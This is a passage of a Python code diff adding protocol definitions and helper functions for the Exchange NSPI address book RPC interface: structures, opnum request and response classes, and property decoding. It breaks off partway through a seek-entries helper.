+GUID_NSPI = string_to_bin("C840A7DC-42C0-1A10-B4B9-08002B2FE182")
+
+# 2.2.8 Positioning Minimal Entry IDs
+MID_BEGINNING_OF_TABLE = 0x00000000
+MID_END_OF_TABLE       = 0x00000002
+MID_CURRENT            = 0x00000001
+
+# 2.2.9 Ambiguous Name Resolution Minimal Entry IDs
+MID_UNRESOLVED = 0x00000000
+MID_AMBIGUOUS  = 0x00000001
+MID_RESOLVED   = 0x00000002
+
+# 2.2.10 Table Sort Orders
+SortTypeDisplayName         = 0
+SortTypePhoneticDisplayName = 0x00000003
+SortTypeDisplayName_RO      = 0x000003E8
+SortTypeDisplayName_W       = 0x000003E9
+
+# 2.2.11 NspiBind Flags
+fAnonymousLogin = 0x00000020
+
+# 2.2.12 Retrieve Property Flags
+fSkipObjects = 0x00000001
+fEphID       = 0x00000002
+
+# 2.2.13 NspiGetSpecialTable Flags
+NspiAddressCreationTemplates = 0x00000002
+NspiUnicodeStrings           = 0x00000004
+
+# 2.2.14 NspiQueryColumns Flags
+NspiUnicodeProptypes = 0x80000000
+
+# 2.2.15 NspiGetIDsFromNames Flags
+NspiVerifyNames = 0x00000002
+
+# 2.2.16 NspiGetTemplateInfo Flags
+TI_TEMPLATE          = 0x00000001
+TI_SCRIPT            = 0x00000004
+TI_EMT               = 0x00000010
+TI_HELPFILE_NAME     = 0x00000020
+TI_HELPFILE_CONTENTS = 0x00000040
+
+# 2.2.17 NspiModLinkAtt Flags
+fDelete = 0x00000001
+
+# 2.3.1.1 FlatUID_r
+FlatUID_r = UUID
+PFlatUID_r = PUUID
+
+# 2.3.1.2 PropertyTagArray_r
+class PropertyTagArray(NDRUniConformantVaryingArray):
+    item = DWORD
+
+class PropertyTagArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', ULONG),
+         ('aulPropTag', PropertyTagArray)
+    )
+
+class PPropertyTagArray_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyTagArray_r),
+    )
+
+# 2.3.1.3 Binary_r
+class Binary(NDRUniConformantArray):
+    item = 'c'
+
+class PBinary(NDRPOINTER):
+    referent = (
+         ('Data', Binary),
+    )
+
+class Binary_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpb', PBinary),
+    )
+
+# 2.3.1.4 ShortArray_r
+class ShortArray(NDRUniConformantArray):
+    item = SHORT
+
+class PShortArray(NDRPOINTER):
+    referent = (
+         ('Data', ShortArray),
+    )
+
+class ShortArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpi', PShortArray),
+    )
+
+# 2.3.1.5 LongArray_r
+class LongArray(NDRUniConformantArray):
+    item = LONG
+
+class PLongArray(NDRPOINTER):
+    referent = (
+         ('Data', LongArray),
+    )
+
+class LongArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpl', PLongArray)
+    )
+
+# 2.3.1.6 StringArray_r
+class StringArray(NDRUniConformantArray):
+    item = LPSTR
+
+class PStringArray(NDRPOINTER):
+    referent = (
+         ('Data', StringArray),
+    )
+
+class StringArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lppszA', PStringArray)
+    )
+
+# 2.3.1.7 BinaryArray_r
+class BinaryArray(NDRUniConformantArray):
+    item = Binary_r
+
+class PBinaryArray(NDRPOINTER):
+    referent = (
+         ('Data', BinaryArray),
+    )
+
+class BinaryArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpbin', PBinaryArray)
+    )
+
+# 2.3.1.8 FlatUIDArray_r
+class FlatUIDArray(NDRUniConformantArray):
+    item = PFlatUID_r
+
+class PFlatUIDArray(NDRPOINTER):
+    referent = (
+         ('Data', FlatUIDArray),
+    )
+
+class FlatUIDArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpguid', PFlatUIDArray)
+    )
+
+# 2.3.1.9 WStringArray_r
+class WStringArray(NDRUniConformantArray):
+    item = LPWSTR
+
+class PWStringArray(NDRPOINTER):
+    referent = (
+         ('Data', WStringArray),
+    )
+
+class WStringArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lppszW', PWStringArray)
+    )
+
+# 2.3.1.10 DateTimeArray_r
+class DateTimeArray(NDRUniConformantArray):
+    item = PFILETIME
+
+class PDateTimeArray(NDRPOINTER):
+    referent = (
+         ('Data', DateTimeArray),
+    )
+
+class DateTimeArray_r(NDRSTRUCT):
+    structure = (
+         ('cValues', DWORD),
+         ('lpft', PDateTimeArray)
+    )
+
+# 2.3.1.11 PROP_VAL_UNION
+class PROP_VAL_UNION(NDRUNION):
+    commonHdr = (
+         ('tag', DWORD),
+    )
+
+    union = {
+        0x0002: ('i', SHORT),               # PtypInteger16
+        0x0003: ('l', LONG),                # PtypInteger32
+        0x000B: ('b', USHORT),              # PtypBoolean
+        0x001E: ('lpszA', LPSTR),           # PtypString8
+        0x0102: ('bin', Binary_r),          # PtypBinary
+        0x001F: ('lpszW', LPWSTR),          # PtypString
+        0x0048: ('lpguid', PFlatUID_r),     # PtypGuid
+        0x0040: ('ft', FILETIME),           # PtypTime
+        0x000A: ('err', ULONG),             # PtypErrorCode
+        0x1002: ('MVi', ShortArray_r),      # PtypMultipleInteger16
+        0x1003: ('MVl', LongArray_r),       # PtypMultipleInteger32
+        0x101E: ('MVszA', StringArray_r),   # PtypMultipleString8
+        0x1102: ('MVbin', BinaryArray_r),   # PtypMultipleBinary
+        0x1048: ('MVguid', FlatUIDArray_r), # PtypMultipleGuid
+        0x101F: ('MVszW', WStringArray_r),  # PtypMultipleString
+        0x1040: ('MVft', DateTimeArray_r),  # PtypMultipleTime
+        0x0001: ('lReserved', LONG),        # PtypNull
+        0x000D: ('lReserved', LONG),        # PtypEmbeddedTable
+        0x0000: ('lReserved', LONG),        # PtypUnspecified
+    }
+
+# 2.3.1.12 PropertyValue_r
+class PropertyValue_r(NDRSTRUCT):
+    structure = (
+         ('ulPropTag', DWORD),
+         ('ulReserved', DWORD), # dwAlignPad
+         ('Value', PROP_VAL_UNION),
+    )
+
+class PPropertyValue_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyValue_r),
+    )
+
+# 2.3.2 PropertyRow_r
+class PropertyValue(NDRUniConformantArray):
+    item = PropertyValue_r
+
+class PPropertyValue(NDRPOINTER):
+    referent = (
+         ('Data', PropertyValue),
+    )
+
+class PropertyRow_r(NDRSTRUCT):
+    structure = (
+         ('Reserved', DWORD), # ulAdrEntryPad
+         ('cValues', DWORD),
+         ('lpProps', PPropertyValue)
+    )
+
+class PPropertyRow_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyRow_r),
+    )
+
+# 2.3.3 PropertyRowSet_r
+class PropertyRowSet(NDRUniConformantArray): 
+    item = PropertyRow_r
+
+class PropertyRowSet_r(NDRSTRUCT):
+    structure = (
+         ('cRows', DWORD),
+         ('aRow', PropertyRowSet),
+    )
+
+class PPropertyRowSet_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyRowSet_r),
+    )
+
+# 2.3.4 Restrictions
+class Restriction_r(NDRSTRUCT):
+    pass
+
+class PRestriction_r(NDRPOINTER):
+    referent = (
+         ('Data', Restriction_r),
+    )
+
+# 2.3.4.1 AndRestriction_r, OrRestriction_r
+class AndRestriction(NDRUniConformantArray): 
+    item = Restriction_r
+
+class PAndRestriction(NDRPOINTER):
+    referent = (
+         ('Data', AndRestriction),
+    )
+
+class AndRestriction_r(NDRSTRUCT):
+    structure = (
+         ('cRes', DWORD),
+         ('lpRes', PAndRestriction),
+    )
+
+OrRestriction_r = AndRestriction_r
+
+# 2.3.4.2 NotRestriction_r
+class NotRestriction_r(NDRSTRUCT):
+    structure = (
+         ('lpRes', PRestriction_r),
+    )
+
+# 2.3.4.3 ContentRestriction_r
+class ContentRestriction_r(NDRSTRUCT):
+    structure = (
+         ('ulFuzzyLevel', DWORD),
+         ('ulPropTag', DWORD),
+         ('lpProp', PPropertyValue_r),
+    )
+
+# 2.3.4.4 BitMaskRestriction_r
+class BitMaskRestriction_r(NDRSTRUCT):
+    structure = (
+         ('relBMR', DWORD),
+         ('ulPropTag', DWORD),
+         ('ulMask', DWORD),
+    )
+
+# 2.3.4.5 PropertyRestriction_r
+class PropertyRestriction_r(NDRSTRUCT):
+    structure = (
+         ('relop', DWORD),
+         ('ulPropTag', DWORD),
+         ('lpProp', PPropertyValue_r),
+    )
+
+# 2.3.4.6 ComparePropsRestriction_r
+class ComparePropsRestriction_r(NDRSTRUCT):
+    structure = (
+         ('relop', DWORD),
+         ('ulPropTag1', DWORD),
+         ('ulPropTag2', DWORD),
+    )
+
+# 2.3.4.7 SubRestriction_r
+class SubRestriction_r(NDRSTRUCT):
+    structure = (
+         ('ulSubObject', DWORD),
+         ('lpRes', PRestriction_r),
+    )
+
+# 2.3.4.8 SizeRestriction_r
+class SizeRestriction_r(NDRSTRUCT):
+    structure = (
+         ('relop', DWORD),
+         ('ulPropTag', DWORD),
+         ('cb', DWORD),
+    )
+
+# 2.3.4.9 ExistRestriction_r
+class ExistRestriction_r(NDRSTRUCT):
+    structure = (
+         ('ulReserved1', DWORD),
+         ('ulPropTag', DWORD),
+         ('ulReserved2', DWORD),
+    )
+
+# 2.3.4.10 RestrictionUnion_r
+class RestrictionUnion_r(NDRUNION):
+    commonHdr = (
+         ('tag', DWORD),
+    )
+
+    union = {
+        0x00000000: ('resAnd', AndRestriction_r),
+        0x00000001: ('resOr', OrRestriction_r),
+        0x00000002: ('resNot', NotRestriction_r),
+        0x00000003: ('resContent', ContentRestriction_r),
+        0x00000004: ('resProperty', PropertyRestriction_r),
+        0x00000005: ('resCompareProps', ComparePropsRestriction_r),
+        0x00000006: ('resBitMask', BitMaskRestriction_r),
+        0x00000007: ('resSize', SizeRestriction_r),
+        0x00000008: ('resExist', ExistRestriction_r),
+        0x00000009: ('resSubRestriction', SubRestriction_r),
+    }
+
+# 2.3.4.11 Restriction_r
+Restriction_r.structure = (
+    ('rt', DWORD),
+    ('res', RestrictionUnion_r),
+)
+
+# 2.3.5.1 PropertyName_r
+class PropertyName_r(NDRSTRUCT):
+    structure = (
+         ('lpguid', PFlatUID_r),
+         ('ulReserved', DWORD),
+         ('lID', LONG),
+    )
+
+class PPropertyName_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyName_r),
+    )
+
+# 2.3.5.2 PropertyNameSet_r
+class PropertyNameSet(NDRUniConformantArray):
+    item = PropertyName_r
+
+class PropertyNameSet_r(NDRSTRUCT):
+    structure = (
+         ('cNames', DWORD),
+         ('aulPropTag', PropertyNameSet)
+    )
+
+class PPropertyNameSet_r(NDRPOINTER):
+    referent = (
+         ('Data', PropertyNameSet_r),
+    )
+
+# 2.3.6.1 StringsArray_r
+class StringsArray(NDRUniConformantArray):
+    item = LPSTR
+
+class StringsArray_r(NDRSTRUCT):
+    structure = (
+         ('Count', DWORD),
+         ('Strings', StringsArray)
+    )
+
+# 2.3.6.1 StringsArray_r
+class WStringsArray(NDRUniConformantArray):
+    item = LPWSTR
+
+class WStringsArray_r(NDRSTRUCT):
+    structure = (
+         ('Count', DWORD),
+         ('Strings', WStringsArray)
+    )
+
+# 2.3.7 STAT
+class STAT(NDRSTRUCT):
+    structure = (
+         ('SortType', DWORD),
+         ('ContainerID', DWORD),
+         ('CurrentRec', DWORD),
+         ('Delta', LONG),
+         ('NumPos', DWORD),
+         ('TotalRecs', DWORD),
+         ('CodePage', DWORD),
+         ('TemplateLocale', DWORD),
+         ('SortLocale', DWORD),
+    )
+
+class PSTAT(NDRPOINTER):
+    referent = (
+         ('Data', STAT),
+    )
+
+# 2.3.8.1 MinimalEntryID
+MinEntryID = '<L=0'
+
+# 2.3.8.2 EphemeralEntryID
+class EphemeralEntryID(Structure):
+    structure = (
+         ('IDType','<B=0x87'),
+         ('R1','<B=0'),
+         ('R2','<B=0'),
+         ('R3','<B=0'),
+         ('ProviderUID','16s=b"\\x00"*16'),
+         ('R4','<L=0x0000001'),
+         ('DisplayType','<L'),
+         ('MId',MinEntryID),
+    )
+
+# 2.3.8.3 PermanentEntryID
+class PermanentEntryID(Structure):
+    default_guid = GUID_NSPI
+    structure = (
+         ('IDType','<B=0'),
+         ('R1','<B=0'),
+         ('R2','<B=0'),
+         ('R3','<B=0'),
+         ('ProviderUID','16s=self["default_guid"]'),
+         ('R4','<L=0x0000001'),
+         ('DisplayType','<L'),
+         ('DistinguishedName','z'),
+    )
+
+    def __str__(self):
+        return self["DistinguishedName"]
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# 3.1.4.1 RfrGetNewDSA (opnum 0)
+class NspiBind(NDRCALL):
+    opnum = 0
+    structure = (
+        ('dwFlags', DWORD),
+        ('pStat', STAT),
+        ('pServerGuid', PFlatUID_r),
+    )
+
+class NspiBindResponse(NDRCALL):
+    structure = (
+        ('pServerGuid', PFlatUID_r),
+        ('contextHandle', handle_t),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.2 NspiUnbind (Opnum 1)
+class NspiUnbind(NDRCALL):
+    opnum = 1
+    structure = (
+        ('contextHandle', handle_t),
+        ('Reserved', DWORD), # flags
+    )
+
+class NspiUnbindResponse(NDRCALL):
+    structure = (
+        ('contextHandle', handle_t),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.4 NspiUpdateStat (Opnum 2)
+class NspiUpdateStat(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pStat', STAT),
+        ('plDelta', LPLONG),
+    )
+
+class NspiUpdateStatResponse(NDRCALL):
+    structure = (
+        ('pStat', STAT),
+        ('plDelta', LPLONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.8 NspiQueryRows (Opnum 3)
+class DWORD_ARRAY(NDRUniConformantArray):
+    item = DWORD
+
+class PDWORD_ARRAY(NDRPOINTER):
+    referent = (
+         ('Data', DWORD_ARRAY),
+    )
+
+class NspiQueryRows(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('pStat', STAT),
+        ('dwETableCount', DWORD),
+        ('lpETable', PDWORD_ARRAY),
+        ('Count', DWORD),
+        ('pPropTags', PPropertyTagArray_r),
+    )
+
+class NspiQueryRowsResponse(NDRCALL):
+    structure = (
+        ('pStat', STAT),
+        ('ppRows', PPropertyRowSet_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.9 NspiSeekEntries (Opnum 4)
+class NspiSeekEntries(NDRCALL):
+    opnum = 4
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pStat', STAT),
+        ('pTarget', PropertyValue_r),
+        ('lpETable', PropertyTagArray_r),
+        ('pPropTags', PropertyTagArray_r),
+    )
+
+class NspiSeekEntriesResponse(NDRCALL):
+    structure = (
+        ('pStat', STAT),
+        ('ppRows', PPropertyRowSet_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.10 NspiGetMatches (Opnum 5)
+#class NspiGetMatches(NDRCALL):
+#    opnum = 5
+#    structure = (
+#        ('hRpc', handle_t),
+#        ('Reserved1', DWORD), # flags
+#        ('pStat', STAT),
+#        ('pReserved', PropertyTagArray_r), # mids
+#        ('Reserved2', DWORD), # interfaceOptions
+#        ('Filter', Restriction_r),
+#        ('lpPropName', PropertyName_r),
+#        ('ulRequested', DWORD),
+#        ('pPropTags', PropertyTagArray_r),
+#    )
+
+#class NspiGetMatchesResponse(NDRCALL):
+#    structure = (
+#        ('pStat', PSTAT),
+#        ('ppOutMIds', PPropertyTagArray_r),
+#        ('ppRows', PPropertyRowSet_r),
+#        ('ErrorCode', ULONG),
+#    )
+
+# 3.1.4.11 NspiResortRestriction (Opnum 6)
+#class NspiResortRestriction(NDRCALL):
+#    opnum = 6
+#    structure = (
+#        ('hRpc', handle_t),
+#        ('Reserved', DWORD),
+#        ('pStat', STAT),
+#        ('pInMIds', PropertyTagArray_r),
+#        ('ppOutMIds', PPropertyTagArray_r),
+#    )
+
+#class NspiResortRestrictionResponse(NDRCALL):
+#    structure = (
+#        ('pStat', PSTAT),
+#        ('ppOutMIds', PPropertyTagArray_r),
+#        ('ErrorCode', ULONG),
+#    )
+
+# 3.1.4.13 NspiDNToMId (Opnum 7)
+class NspiDNToMId(NDRCALL):
+    opnum = 7
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pNames', StringsArray_r),
+    )
+
+class NspiDNToMIdResponse(NDRCALL):
+    structure = (
+        ('ppOutMIds', PPropertyTagArray_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.6 NspiGetPropList (Opnum 8)
+class NspiGetPropList(NDRCALL):
+    opnum = 8
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('dwMId', DWORD),
+        ('CodePage', DWORD),
+    )
+
+class NspiGetPropListResponse(NDRCALL):
+    structure = (
+        ('ppOutMIds', PPropertyTagArray_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.7 NspiGetProps (Opnum 9)
+class NspiGetProps(NDRCALL):
+    opnum = 9
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('pStat', PSTAT),
+        ('pPropTags', PPropertyTagArray_r),
+    )
+
+class NspiGetPropsResponse(NDRCALL):
+    structure = (
+        ('ppRows', PPropertyRow_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.12 NspiCompareMIds (Opnum 10)
+class NspiCompareMIds(NDRCALL):
+    opnum = 10
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pStat', STAT),
+        ('MId1', DWORD),
+        ('MId2', DWORD),
+    )
+
+class NspiCompareMIdsResponse(NDRCALL):
+    structure = (
+        ('plResult', LONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.14 NspiModProps (Opnum 11)
+#class NspiModProps(NDRCALL):
+#    opnum = 11
+#    structure = (
+#        ('hRpc', handle_t),
+#        ('Reserved', DWORD), # flags
+#        ('pStat', STAT),
+#        ('pPropTags', PropertyTagArray_r),
+#        ('pRow', PropertyRow_r),
+#    )
+
+#class NspiModPropsResponse(NDRCALL):
+#    structure = (
+#        ('plResult', LPLONG),
+#        ('ErrorCode', ULONG),
+#    )
+
+# 3.1.4.3 NspiGetSpecialTable (Opnum 12)
+class NspiGetSpecialTable(NDRCALL):
+    opnum = 12
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('pStat', PSTAT),
+        ('lpVersion', LPDWORD),
+    )
+
+class NspiGetSpecialTableResponse(NDRCALL):
+    structure = (
+        # In Exchange 2013 / 2016 / 2019 lpVersion is 
+        # a RuntimeHelpers.GetHashCode value, and it will be
+        # different each call
+        ('lpVersion', DWORD), 
+        ('ppRows', PPropertyRowSet_r),
+        ('ErrorCode', DWORD),
+    )
+
+# 3.1.4.20 NspiGetTemplateInfo (Opnum 13)
+class NspiGetTemplateInfo(NDRCALL):
+    opnum = 13
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('ulType', DWORD),
+        ('pDN', LPSTR),
+        ('dwCodePage', DWORD),
+        ('dwLocaleID', DWORD),
+    )
+
+class NspiGetTemplateInfoResponse(NDRCALL):
+    structure = (
+        ('ppData', PPropertyRow_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.15 NspiModLinkAtt (Opnum 14)
+class NspiModLinkAtt(NDRCALL):
+    opnum = 14
+    structure = (
+        ('hRpc', handle_t),
+        ('dwFlags', DWORD),
+        ('ulPropTag', DWORD),
+        ('dwMId', DWORD),
+        ('lpEntryIds', BinaryArray_r),
+    )
+
+class NspiModLinkAttResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# Undocumented opnum 15
+#class NspiDeleteEntries(NDRCALL):
+#    opnum = 15
+#    structure = (
+#        ('hRpc', handle_t),
+#        ('dwFlags', DWORD),
+#        ('dwMId', DWORD),
+#        ('entryIds', BinaryArray_r),
+#    )
+
+#class NspiDeleteEntriesResponse(NDRCALL):
+#    structure = (
+#        ('ErrorCode', ULONG),
+#    )
+
+# 3.1.4.5 NspiQueryColumns (Opnum 16)
+class NspiQueryColumns(NDRCALL):
+    opnum = 16
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('dwFlags', DWORD),  # mapiFlags
+    )
+
+class NspiQueryColumnsResponse(NDRCALL):
+    structure = (
+        ('ppColumns', PPropertyTagArray_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.16 NspiGetNamesFromIDs (Opnum 17)
+class NspiGetNamesFromIDs(NDRCALL):
+    opnum = 17
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('lpguid', PFlatUID_r),
+        ('pPropTags', PPropertyTagArray_r),
+    )
+
+class NspiGetNamesFromIDsResponse(NDRCALL):
+    structure = (
+        ('ppReturnedPropTags', PPropertyTagArray_r),
+        ('ppNames', PPropertyNameSet_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.17 NspiGetIDsFromNames (Opnum 18)
+class PropertyName_r_ARRAY(NDRUniConformantVaryingArray):
+    item = PropertyName_r
+
+class NspiGetIDsFromNames(NDRCALL):
+    opnum = 18
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('dwFlags', DWORD),  # mapiFlags
+        ('cPropNames', DWORD),
+        ('pNames', PropertyName_r_ARRAY),
+    )
+
+class NspiGetIDsFromNamesResponse(NDRCALL):
+    structure = (
+        ('ppPropTags', PPropertyTagArray_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.18 NspiResolveNames (Opnum 19)
+class NspiResolveNames(NDRCALL):
+    opnum = 19
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pStat', STAT),
+        ('pPropTags', PPropertyTagArray_r),
+        ('paStr', StringsArray_r),
+    )
+
+class NspiResolveNamesResponse(NDRCALL):
+    structure = (
+        ('ppMIds', PPropertyTagArray_r),
+        ('ppRows', PPropertyRowSet_r),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.19 NspiResolveNamesW (Opnum 20)
+class NspiResolveNamesW(NDRCALL):
+    opnum = 20
+    structure = (
+        ('hRpc', handle_t),
+        ('Reserved', DWORD), # flags
+        ('pStat', STAT),
+        ('pPropTags', PPropertyTagArray_r),
+        ('paStr', WStringsArray_r),
+    )
+
+class NspiResolveNamesWResponse(NDRCALL):
+    structure = (
+        ('ppMIds', PPropertyTagArray_r),
+        ('ppRows', PPropertyRowSet_r),
+        ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0  : (NspiBind, NspiBindResponse),
+    1  : (NspiUnbind, NspiUnbindResponse),
+    2  : (NspiUpdateStat, NspiUpdateStatResponse),
+    3  : (NspiQueryRows, NspiQueryRowsResponse),
+    4  : (NspiSeekEntries, NspiSeekEntriesResponse),
+#    5  : (NspiGetMatches, NspiGetMatchesResponse),
+#    6  : (NspiResortRestriction, NspiResortRestrictionResponse),
+    7  : (NspiDNToMId, NspiDNToMIdResponse),
+    8  : (NspiGetPropList, NspiGetPropListResponse),
+    9  : (NspiGetProps, NspiGetPropsResponse),
+    10 : (NspiCompareMIds, NspiCompareMIdsResponse),
+#    11 : (NspiModProps, NspiModPropsResponse),
+    12 : (NspiGetSpecialTable, NspiGetSpecialTableResponse),
+    13 : (NspiGetTemplateInfo, NspiGetTemplateInfoResponse),
+    14 : (NspiModLinkAtt, NspiModLinkAttResponse),
+#    15 : (NspiDeleteEntries, NspiDeleteEntriesResponse),
+    16 : (NspiQueryColumns, NspiQueryColumnsResponse),
+    17 : (NspiGetNamesFromIDs, NspiGetNamesFromIDsResponse),
+    18 : (NspiGetIDsFromNames, NspiGetIDsFromNamesResponse),
+    19 : (NspiResolveNames, NspiResolveNamesResponse),
+    20 : (NspiResolveNamesW, NspiResolveNamesWResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def get_guid_from_dn(legacyDN):
+    legacyDN = str(legacyDN)
+    guid = legacyDN[legacyDN.rfind("=")+1:]
+
+    return uuid.string_to_bin(guid)
+
+def get_dn_from_guid(guid, minimize=False):
+    if minimize:
+        # MS-OXNSPI
+        dn_template = "/guid="
+    else:
+        # MS-NSPI and MS-OXNSPI
+        dn_template = "/o=NT5/ou=00000000000000000000000000000000/cn="
+
+    guid_bin = string_to_bin(guid)
+
+    if PY2:
+        return "%s%s" % (dn_template, binascii.hexlify(guid_bin))
+    else:
+        return "%s%s" % (dn_template, str(binascii.hexlify(guid_bin), 'ascii'))
+
+class EXCH_SID(LDAP_SID):
+    def __str__(self):
+        return self.formatCanonical()
+
+class ExchBinaryObject(bytes):
+    pass
+
+def getUnixTime(t):
+    t -= 116444736000000000
+    t //= 10000000
+    return t
+
+def simplifyPropertyRow(rowSetElem):
+    row = {}
+
+    for prop in rowSetElem['lpProps']:
+        prop_name_in_union = prop['Value'].structure[0][0]
+        prop_value = prop['Value'].fields[prop_name_in_union]
+
+        PropTag = prop['ulPropTag']
+
+        if isinstance(prop_value, SHORT) or \
+           isinstance(prop_value, USHORT) or \
+           isinstance(prop_value, LONG) or \
+           isinstance(prop_value, ULONG):
+            row[PropTag] = int(prop_value['Data'])
+        elif isinstance(prop_value, LPWSTR):
+            if PropTag in [0x8c38001f]:
+                # What is this field for?
+                row[PropTag] = ExchBinaryObject(prop_value['Data'].encode("utf-16le")[:-2])
+            else:
+                row[PropTag] = prop_value['Data'][:-1]
+        elif isinstance(prop_value, LPSTR):
+            row[PropTag] = prop_value['Data'][:-1]
+        elif isinstance(prop_value, Binary_r):
+            value = b''.join(prop_value['lpb'])
+
+            if PropTag in [0x80270102, 0x8c750102]:
+                value = EXCH_SID(value)
+            elif PropTag == 0x300b0102:
+                value = value[:-1].decode("utf-8")
+            elif value[4:20] == GUID_NSPI and value[20:24] == b'\x01\x00\x00\x00' and value[:4] == b'\x00\x00\x00\x00':
+                value = PermanentEntryID(value)
+            elif value[:4] == b'\x87\x00\x00\x00' and value[20:24] == b'\x01\x00\x00\x00' and len(value) == 32:
+                value = EphemeralEntryID(value)
+            elif PropTag in [0x8c6d0102, 0x68c40102, 0x8c730102, 0x0ff80102]:
+                value = uuid.bin_to_string(value).lower()
+            elif PropTag == 0x0ff60102:
+                value = unpack('<l', value)[0]
+            else:
+                value = ExchBinaryObject(value)
+
+            row[PropTag] = value
+        elif isinstance(prop_value, BinaryArray_r):
+            array = []
+            for value in prop_value['lpbin']:
+                array.append(b''.join(value['lpb']))
+            row[PropTag] = array
+        elif isinstance(prop_value, StringArray_r):
+            array = []
+            for value in prop_value['lppszA']:
+                array.append(value['Data'][:-1])
+            row[PropTag] = array
+        elif isinstance(prop_value, WStringArray_r):
+            array = []
+            for value in prop_value['lppszW']:
+                array.append(value['Data'][:-1])
+            row[PropTag] = array
+        elif isinstance(prop_value, FILETIME):
+            row[PropTag] = datetime.fromtimestamp( \
+                getUnixTime(unpack('<Q', prop_value.getData())[0]))
+        else:
+            row[PropTag] = prop_value
+
+    return row
+
+def simplifyPropertyRowSet(propertyRowSet):
+    ret = []
+
+    for rowSet in propertyRowSet['aRow']:
+        ret.append(simplifyPropertyRow(rowSet))
+
+    return ret
+
+def hNspiBind(dce, pStat=None):
+    request = NspiBind()
+
+    if pStat == None:
+        request['pStat']['CodePage'] = CP_TELETEX
+    else:
+        request['pStat'] = pStat
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiUnbind(dce, handler):
+    request = NspiUnbind()
+    request['contextHandle'] = handler
+
+    resp = dce.request(request, checkError=False)
+    return resp
+
+def hNspiUpdateStat(dce, handler, pStat, plDelta=NULL):
+    request = NspiUpdateStat()
+    request['hRpc'] = handler
+    request['pStat'] = pStat
+    request['plDelta'] = plDelta
+
+    resp = dce.request(request, checkError=False)
+    return resp
+
+def hNspiQueryRows(dce, handler, dwFlags=fSkipObjects, pStat=None, ContainerID=0,
+        Count=50, pPropTags=[], pPropTagsRaw=NULL, lpETable=[]):
+    request = NspiQueryRows()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+    request['Count'] = Count
+
+    if pStat == None:
+        request['pStat']['ContainerID'] = ContainerID
+    else:
+        request['pStat'] = pStat
+
+    if len(pPropTags) > 0:
+        for aulPropTag in pPropTags:
+            prop = DWORD()
+            prop['Data'] = aulPropTag
+            request['pPropTags']['aulPropTag'].append(prop)
+        request['pPropTags']['cValues'] = len(pPropTags)
+        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+    else:
+        request['pPropTags'] = pPropTagsRaw
+
+    if len(lpETable) > 0:
+        for mID in lpETable:
+            elem = DWORD()
+            elem['Data'] = mID
+            request['lpETable'].append(elem)
+        request['dwETableCount'] = len(lpETable)
+    else:
+        request['lpETable'] = NULL
+        request['dwETableCount'] = 0
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiSeekEntries(dce, handler, displayName, ContainerID=0, SortType=0, \
+        lpETable=[], lpETableRaw=NULL, pPropTags=[], pPropTagsRaw=NULL):
+    request = NspiSeekEntries()
+    request['hRpc'] = handler
+    request['pStat']['ContainerID'] = ContainerID
+
+    # MS-OXNSPI 3.1.4.1.9.9
+    # If the SortType field in the input parameter pStat has any value other than
+    # SortTypeDisplayName, the server MUST return the value GeneralFailure.
